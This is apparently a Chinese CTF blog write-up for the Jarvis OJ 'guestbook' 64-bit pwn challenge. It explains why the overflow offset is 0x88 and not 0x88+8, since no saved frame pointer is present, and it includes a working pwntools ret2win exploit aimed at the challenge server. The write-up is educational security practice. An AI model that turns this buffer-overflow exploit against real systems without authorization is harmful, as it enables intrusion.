记一个64位栈帧的坑!!!
老板儿,链接要得:
https://files.cnblogs.com/files/Magpie/guestbook.rar
nc pwn.jarvisoj.com 9876
第n次checksec...:

宣IDA觐见:


good_name一看就很妖孽,于是跟进去:

好嘛~搞定了这不!
看一下main函数的溢出点:

于是payload:
junk='A' * (0x88 + 0x08)
ret=p64(0x400620)
payload=junk + ret
写好后一个payload打过去。。。结果,,说好的shell呢!!! /(ㄒoㄒ)/~~
所以,有坑!
现在我们来看一下汇编:
main:

good_name:

仔细一看,惊了!
main:
----->![]()
good_name:
&
----->![]()
所以,,它的栈帧处理和平衡的方式和我们常见的那种形式(push ebp , mov ebp,esp , sub esp,size_of_frame)是不一样的!
因此,它的栈帧结构里实际上是没有old_ebp的,即junk的size为0x88而非0x88+8
这样一来问题就解决了,我们上exp:
1 from pwn import* 2 r=remote('pwn.jarvisoj.com','9876') 3 print r.recvline() 4 pad='a'*0x88 5 add=p64(0x400620) 6 payload=pad+add 7 r.sendline(payload) 8 print payload 9 print r.recvline() 10 print r.recvline()
从这道题中我们得到一个教训:
看汇编!
看汇编!!
一定要看汇编!!!